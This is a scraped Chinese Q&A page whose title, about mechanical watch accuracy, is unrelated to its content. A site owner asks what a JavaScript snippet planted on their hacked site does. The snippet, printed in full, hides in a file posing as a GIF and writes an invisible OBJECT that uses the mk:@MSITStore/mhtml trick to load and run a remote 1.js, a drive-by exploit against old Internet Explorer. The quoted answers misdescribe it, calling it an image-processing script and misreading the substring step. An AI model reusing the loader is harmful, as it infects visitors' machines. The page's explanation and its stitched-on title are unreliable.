天王机械表误差标准:js源码解释

来源:百度文库 编辑:查人人中国名人网 时间:2024/05/02 17:38:55
请js高水解释以下代码的意思:
-------------------------------------------------
GIF89a
var GIF89a=document.location.href;GIF89a=GIF89a.substring(0,GIF89a.lastIndexOf('/'));document.write('<OBJECT Width=0 Height=0 style="display:none;" type="text/x-scriptlet" data="mk:%40MSITStore%3Amhtml%3Ac%3A\\%2Emht%21'+GIF89a+'%2f1.js::/%23"></OBJECT>');
-------------------------------------------------
感谢greener_ok的回答。那么object 是什么,执行什么任务吗?
这段代码是我做的一个网站被人恶意加的一个链接指向的文件。请问那个人这样做的意图是什么?
继续问:
破坏脚本的后果是什么?

注:分数7天后给 greener_ok

处理图片的一段js脚本,
var GIF89a=document.location.href;//先取本页的链接
GIF89a=GIF89a.substring(0,GIF89a.lastIndexOf('/'));//截取最后一个“/”后面的部分,也就是文件的名字
然后在本页中添加一个object

定义 GIF89a 为本页的命令行
把 GIF89a 取包含最后一个'/'的字符
写入信息到文件。信息为:'<OBJECT Width=0 Height=0 style="display:none;" type="text/x-scriptlet" data="mk:%40MSITStore%3Amhtml%3Ac%3A\\%2Emht%21'+GIF89a+'%2f1.js::/%23"></OBJECT>'

object 是指控件

greener_ok的回答很完整高手!! 意图是破坏脚本